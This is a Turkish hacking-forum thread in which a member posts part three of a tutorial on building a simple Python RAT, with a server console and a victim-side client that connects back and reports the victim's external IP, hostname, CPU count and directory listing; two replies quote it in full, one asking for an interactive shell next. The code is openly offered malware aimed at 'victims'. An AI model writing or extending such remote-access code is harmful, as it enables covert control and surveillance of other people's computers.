Kurbanda Komut Çalıştırma - Basit Rat Yapımı #3

LordSUCCESS

Uzman üye
17 Eyl 2023
1,349
624
nsg554h.png



2bWoAXtnij.gif



Merhaba Değerli TurkHackTeam Ailesi, Bugün Python'da geliştirdiğimiz basit RAT ile kurbanın bilgisayarında komut çalıştırmanın yolunu göstereceğiz.


2bWoAXtnij.gif


Komutlar;
  1. 'ipconfig' veya 'ifconfig' Bu Kurbanın IP'sini Gösterir​
  2. 'whoami' veya 'pname' Bu Kurbanın Bilgisayar İsmini Gösterir​
  3. 'cpuç' Bu Kurbanın İşlemci Çekirdek Sayısını Gösterir​
  4. 'ls' Bu Kurbanın Bulunduğu Dosyadaki Dosyaları Gösterir​
  5. 'exit' Sunucuyu Kapatır​


2bWoAXtnij.gif


Kodlar;
Python:
# server.py
import os
import socket
import platform

def terminal_temizle():
    oss = platform.system()
    if oss == "Windows":
        os.system("cls")
    elif oss == "Linux":
        os.system("clear")

ip = '127.0.0.1'
port = 8080

def server(ip='', port=0):
    try:
        adr = (ip, port)
        sunucu = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sunucu.bind(adr)
        sunucu.listen(2)
        terminal_temizle()
        print(f"Sunucu Açıldı... | IP: {ip}, Port: {port}")
        while True:
            client, adres = sunucu.accept()
            print(f"{ip} --> Bu IP Sunucuya Girmiştir...\n")
            while True:
                command = input("Command: ").encode()
                client.send(command)
                if command.decode().lower() == 'exit': # eğer çıkış derse sunucuyu kapatır ve termianli temizler
                    sunucu.close()
                    terminal_temizle()
                    break
                gelen = client.recv(1024)
                print(gelen.decode())
    except socket.error as hata:
        print(f"Hata: {hata}")
        sunucu.close()

server(ip, port)

Python:
# client.py
import socket
import psutil
import requests
import wmi
import os

def ip_al():
    res = requests.get('https://api64.ipify.org/?format=json')
    veri = res.json()
    external_ip = veri['ip']
    return str(external_ip)

ip = '127.0.0.1'
port = 8080

try:
    addr = (ip, port)
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(addr)
    while True:
        data = server.recv(1024)
        command = data.decode()
        if command == "ifconfig" or command == "ipconfig":
            ip_adr = ip_al()
            server.send(f"{ip_adr}".encode())
        elif command == "whoami" or command == "pname":
            pc_name = socket.gethostname()
            server.send(pc_name.encode())
        elif command == "cpuç":
            islemci_cekirdek = psutil.cpu_count()
            server.send(str(islemci_cekirdek).encode())
        elif command == "ls":
            l = os.listdir()
            server.send('\n'.join(l).encode())
        else:
            server.send("Hatalı veya olmayan komut\n".encode())
finally:
    server.close()


2bWoAXtnij.gif


Ekran Görüntüleri;

kuvowjx.png


r4d3joi.png


kdtg3y8.png


sbzlhcd.png


Kurbandan Bilgileri Almayı Başardık.

2bWoAXtnij.gif


5ae74zq.png
 

Bunjo

Uzman üye
14 Ara 2020
1,592
1,889
I Won
nsg554h.png



2bWoAXtnij.gif



Merhaba Değerli TurkHackTeam Ailesi, Bugün Python'da geliştirdiğimiz basit RAT ile kurbanın bilgisayarında komut çalıştırmanın yolunu göstereceğiz.


2bWoAXtnij.gif


Komutlar;
  1. 'ipconfig' veya 'ifconfig' Bu Kurbanın IP'sini Gösterir​
  2. 'whoami' veya 'pname' Bu Kurbanın Bilgisayar İsmini Gösterir​
  3. 'cpuç' Bu Kurbanın İşlemci Çekirdek Sayısını Gösterir​
  4. 'ls' Bu Kurbanın Bulunduğu Dosyadaki Dosyaları Gösterir​
  5. 'exit' Sunucuyu Kapatır​


2bWoAXtnij.gif


Kodlar;
Python:
# server.py
import os
import socket
import platform

def terminal_temizle():
    oss = platform.system()
    if oss == "Windows":
        os.system("cls")
    elif oss == "Linux":
        os.system("clear")

ip = '127.0.0.1'
port = 8080

def server(ip='', port=0):
    try:
        adr = (ip, port)
        sunucu = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sunucu.bind(adr)
        sunucu.listen(2)
        terminal_temizle()
        print(f"Sunucu Açıldı... | IP: {ip}, Port: {port}")
        while True:
            client, adres = sunucu.accept()
            print(f"{ip} --> Bu IP Sunucuya Girmiştir...\n")
            while True:
                command = input("Command: ").encode()
                client.send(command)
                if command.decode().lower() == 'exit': # eğer çıkış derse sunucuyu kapatır ve termianli temizler
                    sunucu.close()
                    terminal_temizle()
                    break
                gelen = client.recv(1024)
                print(gelen.decode())
    except socket.error as hata:
        print(f"Hata: {hata}")
        sunucu.close()

server(ip, port)

Python:
# client.py
import socket
import psutil
import requests
import wmi
import os

def ip_al():
    res = requests.get('https://api64.ipify.org/?format=json')
    veri = res.json()
    external_ip = veri['ip']
    return str(external_ip)

ip = '127.0.0.1'
port = 8080

try:
    addr = (ip, port)
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(addr)
    while True:
        data = server.recv(1024)
        command = data.decode()
        if command == "ifconfig" or command == "ipconfig":
            ip_adr = ip_al()
            server.send(f"{ip_adr}".encode())
        elif command == "whoami" or command == "pname":
            pc_name = socket.gethostname()
            server.send(pc_name.encode())
        elif command == "cpuç":
            islemci_cekirdek = psutil.cpu_count()
            server.send(str(islemci_cekirdek).encode())
        elif command == "ls":
            l = os.listdir()
            server.send('\n'.join(l).encode())
        else:
            server.send("Hatalı veya olmayan komut\n".encode())
finally:
    server.close()


2bWoAXtnij.gif


Ekran Görüntüleri;

kuvowjx.png


r4d3joi.png


kdtg3y8.png


sbzlhcd.png


Kurbandan Bilgileri Almayı Başardık.

2bWoAXtnij.gif


5ae74zq.png
Güzel olmuş eline sağlık, bir sonra açacağın konuda direkt interaktif shell kısmını bekliyorum :)
 

StrongsAire.exe

Anka Team Junior
15 Tem 2010
758
107
nsg554h.png



2bWoAXtnij.gif



Merhaba Değerli TurkHackTeam Ailesi, Bugün Python'da geliştirdiğimiz basit RAT ile kurbanın bilgisayarında komut çalıştırmanın yolunu göstereceğiz.


2bWoAXtnij.gif


Komutlar;
  1. 'ipconfig' veya 'ifconfig' Bu Kurbanın IP'sini Gösterir​
  2. 'whoami' veya 'pname' Bu Kurbanın Bilgisayar İsmini Gösterir​
  3. 'cpuç' Bu Kurbanın İşlemci Çekirdek Sayısını Gösterir​
  4. 'ls' Bu Kurbanın Bulunduğu Dosyadaki Dosyaları Gösterir​
  5. 'exit' Sunucuyu Kapatır​


2bWoAXtnij.gif


Kodlar;
Python:
# server.py
import os
import socket
import platform

def terminal_temizle():
    oss = platform.system()
    if oss == "Windows":
        os.system("cls")
    elif oss == "Linux":
        os.system("clear")

ip = '127.0.0.1'
port = 8080

def server(ip='', port=0):
    try:
        adr = (ip, port)
        sunucu = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sunucu.bind(adr)
        sunucu.listen(2)
        terminal_temizle()
        print(f"Sunucu Açıldı... | IP: {ip}, Port: {port}")
        while True:
            client, adres = sunucu.accept()
            print(f"{ip} --> Bu IP Sunucuya Girmiştir...\n")
            while True:
                command = input("Command: ").encode()
                client.send(command)
                if command.decode().lower() == 'exit': # eğer çıkış derse sunucuyu kapatır ve termianli temizler
                    sunucu.close()
                    terminal_temizle()
                    break
                gelen = client.recv(1024)
                print(gelen.decode())
    except socket.error as hata:
        print(f"Hata: {hata}")
        sunucu.close()

server(ip, port)

Python:
# client.py
import socket
import psutil
import requests
import wmi
import os

def ip_al():
    res = requests.get('https://api64.ipify.org/?format=json')
    veri = res.json()
    external_ip = veri['ip']
    return str(external_ip)

ip = '127.0.0.1'
port = 8080

try:
    addr = (ip, port)
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(addr)
    while True:
        data = server.recv(1024)
        command = data.decode()
        if command == "ifconfig" or command == "ipconfig":
            ip_adr = ip_al()
            server.send(f"{ip_adr}".encode())
        elif command == "whoami" or command == "pname":
            pc_name = socket.gethostname()
            server.send(pc_name.encode())
        elif command == "cpuç":
            islemci_cekirdek = psutil.cpu_count()
            server.send(str(islemci_cekirdek).encode())
        elif command == "ls":
            l = os.listdir()
            server.send('\n'.join(l).encode())
        else:
            server.send("Hatalı veya olmayan komut\n".encode())
finally:
    server.close()


2bWoAXtnij.gif


Ekran Görüntüleri;

kuvowjx.png


r4d3joi.png


kdtg3y8.png


sbzlhcd.png


Kurbandan Bilgileri Almayı Başardık.

2bWoAXtnij.gif


5ae74zq.png
Bu local ağ için mi ?
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.